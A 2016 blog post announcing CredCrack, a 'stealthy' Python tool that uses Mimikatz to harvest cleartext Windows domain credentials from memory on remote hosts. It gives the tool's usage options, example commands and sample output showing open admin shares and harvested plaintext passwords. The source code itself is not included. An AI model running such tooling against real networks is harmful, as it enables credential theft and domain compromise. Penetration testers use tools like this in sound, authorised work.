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Tuesday, January 5, 2016

CredCrack - Fast and Stealthy Credential Harvester



CredCrack is a fast and stealthy credential harvester. It exfiltrates credentials recusively in memory and in the clear. Upon completion, CredCrack will parse and output the credentials while identifying any domain administrators obtained. CredCrack also comes with the ability to list and enumerate share access and yes, it is threaded!

CredCrack has been tested and runs with the tools found natively in Kali Linux. CredCrack solely relies on having PowerSploit's "Invoke-Mimikatz.ps1" under the /var/www directory.

Help
usage: credcrack.py [-h] -d DOMAIN -u USER [-f FILE] [-r RHOST] [-es]
[-l LHOST] [-t THREADS]

CredCrack - A stealthy credential harvester by Jonathan Broche (@g0jhonny)

optional arguments:
-h, --help show this help message and exit
-f FILE, --file FILE File containing IPs to harvest creds from. One IP per
line.
-r RHOST, --rhost RHOST
Remote host IP to harvest creds from.
-es, --enumshares Examine share access on the remote IP(s)
-l LHOST, --lhost LHOST
Local host IP to launch scans from.
-t THREADS, --threads THREADS
Number of threads (default: 10)

Required:
-d DOMAIN, --domain DOMAIN
Domain or Workstation
-u USER, --user USER Domain username

Examples:

./credcrack.py -d acme -u bob -f hosts -es
./credcrack.py -d acme -u bob -f hosts -l 192.168.1.102 -t 20

Examples

Enumerating Share Access
./credcrack.py -r 192.168.1.100 -d acme -u bob --es
Password:
---------------------------------------------------------------------
CredCrack v1.0 by Jonathan Broche (@g0jhonny)
---------------------------------------------------------------------

[*] Validating 192.168.1.102
[*] Validating 192.168.1.103
[*] Validating 192.168.1.100

-----------------------------------------------------------------
192.168.1.102 - Windows 7 Professional 7601 Service Pack 1
-----------------------------------------------------------------

OPEN \\192.168.1.102\ADMIN$
OPEN \\192.168.1.102\C$

-----------------------------------------------------------------
192.168.1.103 - Windows Vista (TM) Ultimate 6002 Service Pack 2
-----------------------------------------------------------------

OPEN \\192.168.1.103\ADMIN$
OPEN \\192.168.1.103\C$
CLOSED \\192.168.1.103\F$

-----------------------------------------------------------------
192.168.1.100 - Windows Server 2008 R2 Enterprise 7601 Service Pack 1
-----------------------------------------------------------------

CLOSED \\192.168.1.100\ADMIN$
CLOSED \\192.168.1.100\C$
OPEN \\192.168.1.100\NETLOGON
OPEN \\192.168.1.100\SYSVOL

[*] Done! Completed in 0.8s

Harvesting credentials
./credcrack.py -f hosts -d acme -u bob -l 192.168.1.100
Password:

---------------------------------------------------------------------
CredCrack v1.0 by Jonathan Broche (@g0jhonny)
---------------------------------------------------------------------

[*] Setting up the stage
[*] Validating 192.168.1.102
[*] Validating 192.168.1.103
[*] Querying domain admin group from 192.168.1.102
[*] Harvesting credentials from 192.168.1.102
[*] Harvesting credentials from 192.168.1.103

The loot has arrived...
__________
/\____;;___\
| / /
`. ())oo() .
|\(%()*^^()^\
%| |-%-------|
% \ | % )) |
% \|%________|


[*] Host: 192.168.1.102 Domain: ACME User: jsmith Password: Good0ljm1th
[*] Host: 192.168.1.103 Domain: ACME User: daguy Password: P@ssw0rd1!

1 domain administrators found and highlighted in yellow above!

[*] Cleaning up
[*] Done! Loot may be found under /root/CCloot folder
[*] Completed in 11.3s


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